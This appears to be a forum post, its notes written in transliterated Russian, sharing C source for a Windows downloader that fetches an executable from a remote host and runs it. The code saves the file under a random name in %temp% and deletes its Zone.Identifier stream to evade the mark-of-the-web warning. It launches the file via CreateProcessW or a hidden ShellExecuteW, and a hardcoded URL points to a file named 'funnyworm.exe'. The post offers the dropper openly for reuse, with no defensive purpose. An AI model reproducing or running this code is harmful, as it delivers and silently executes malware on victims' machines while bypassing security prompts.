WININET + urlmon
CreateProcess + ShellExecute
Rabotojet s unicode toshe, mosh komu pregoditza
Udalajet Zone.Identifier
Sohranejet file w %temp%\randnumbers.exe
CreateProcess + ShellExecute
Rabotojet s unicode toshe, mosh komu pregoditza
Udalajet Zone.Identifier
Sohranejet file w %temp%\randnumbers.exe
Код:
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <winioctl.h>
#include <shellapi.h>
#include <wininet.h>
#include <Shlwapi.h>
#include <tchar.h>
bool ExecuteProcess(wchar_t *szFile)
{
HINSTANCE hResult;
STARTUPINFOW pStartInfo;
PROCESS_INFORMATION pProcessInfo;
memset((STARTUPINFOW*)&pStartInfo, 0, sizeof(STARTUPINFOW));
memset((PROCESS_INFORMATION*)&pProcessInfo, 0, sizeof(PROCESS_INFORMATION));
pStartInfo.cb = sizeof(STARTUPINFOW);
pStartInfo.dwFlags = STARTF_USESHOWWINDOW;
pStartInfo.wShowWindow = SW_SHOW;
if (CreateProcessW(NULL, szFile, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &pStartInfo, &pProcessInfo) == TRUE)
{
Sleep(1000);
return true;
}
hResult = ShellExecuteW(NULL, L"open", szFile, 0, 0, SW_HIDE);
int result = int(hResult);
if (result > 32)
{
Sleep(1000);
return true;
}
return false;
}
void Download(wchar_t *szLink)
{
HANDLE hFile;
srand(GetTickCount());
HINTERNET hOpen, hURL;
DWORD dwRead, dwWrite;
bool DownloadedFile = false;
WCHAR szFile[MAX_PATH];
WCHAR szTempPath[MAX_PATH];
WCHAR szData[MAX_PATH];
WCHAR szZonePath[MAX_PATH];
ExpandEnvironmentStringsW(L"%temp%", szTempPath, sizeof(szTempPath));
srand(GetTickCount());
wsprintfW(szFile, L"%ls\\%d.exe", szTempPath, rand() % 30000 + 10000);
hOpen = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hOpen != NULL)
{
hURL = InternetOpenUrlW(hOpen, szLink, NULL, 0, 0, 0);
if (hURL != NULL)
{
hFile = CreateFileW(szFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
memset(szData, 0, sizeof(szData));
while (InternetReadFile(hURL, szData, sizeof(szData) - 1, &dwRead) && dwRead != 0)
{
WriteFile(hFile, szData, dwRead, &dwWrite, NULL);
}
CloseHandle(hFile);
wsprintfW(szZonePath, L"%ls:Zone.Identifier", szFile);
DeleteFileW(szZonePath);
Sleep(100);
if (ExecuteProcess(szFile) == true)
DownloadedFile = true;
}
CloseHandle(hFile);
}
InternetCloseHandle(hURL);
}
InternetCloseHandle(hOpen);
Sleep(500);
if (DownloadedFile == false)
{
wsprintfW(szFile, L"%ls\\%d.exe", szTempPath, rand() % 30000 + 10000);
if (URLDownloadToFileW(0, szLink, szFile, 0, SW_HIDE) == S_OK)
{
wsprintfW(szZonePath, L"%ls:Zone.Identifier", szFile);
DeleteFileW(szZonePath);
Sleep(100);
ExecuteProcess(szFile);
}
}
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
Sleep(500);
Download(L"http://host.ws/funnyworm.exe");
return 0;
}
Последнее редактирование: